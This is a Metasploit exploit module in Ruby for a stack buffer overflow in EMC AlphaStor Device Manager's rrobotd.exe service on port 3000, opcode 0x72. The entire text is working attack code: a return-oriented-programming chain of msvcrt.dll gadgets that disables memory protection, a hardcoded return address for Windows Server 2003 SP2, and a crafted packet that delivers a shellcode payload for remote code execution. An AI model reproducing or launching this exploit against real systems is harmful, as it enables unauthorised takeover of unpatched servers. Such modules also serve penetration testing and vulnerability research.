EMC AlphaStor Device Manager – Opcode 0x72 Buffer Overflow (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'EMC AlphaStor Device Manager Opcode 0x72', 'Description' => %q{ This module exploits a stack based buffer overflow vulnerability found in EMC Alphastor Device Manager. The overflow is triggered when sending a specially crafted packet to the rrobotd.exe service listening on port 3000. During the copying of strings to the stack an unbounded sprintf() function overwrites the return pointer leading to remote code execution. }, 'Author' => [ 'James Fitts' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'URL', '0day' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 160, 'DisableNops' => 'true', 'BadChars' => "\x00\x09\x0a\x0d", 'StackAdjustment' => -404, 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'Compat' => { 'ConnectionType' => '+ws2ord', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Server 2003 SP2 EN', { # pop eax/ retn # msvcrt.dll 'Ret' => 0x77bc5d88, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 14 2013')) register_options( [ Opt::RPORT(3000) ], self.class ) end def exploit connect # msvcrt.dll # 96 bytes rop = [ 0x77bb2563, # pop eax/ retn 0x77ba1114, # ptr to kernel32!virtualprotect 0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn 0xfeedface, 0x77bb0c86, # xchg eax, esi/ retn 0x77bc9801, # pop ebp/ retn 0x77be2265, 0x77bb2563, # pop eax/ retn 0x03C0990F, 0x77bdd441, # sub eax, 3c0940fh/ retn 0x77bb48d3, # pop eax/ retn 0x77bf21e0, 0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn 0x77bbfc02, # pop ecx/ retn 0x77bef001, 0x77bd8c04, # pop edi/ retn 0x77bd8c05, 0x77bb2563, # pop eax/ retn 0x03c0984f, 0x77bdd441, # sub eax, 3c0940fh/ retn 0x77bb8285, # xchg eax, edx/ retn 0x77bb2563, # pop eax/ retn 0x90909090, 0x77be6591, # pushad/ add al, 0efh/ retn ].pack("V*") buf = "\xcc" * 550 buf[246, 4] = [target.ret].pack('V') buf[250, 4] = [0x77bf6f80].pack('V') buf[254, rop.length] = rop buf[350, payload.encoded.length] = payload.encoded packet = "\x72#{buf}" print_status("Trying target %s..." % target.name) sock.put(packet) handler disconnect end end |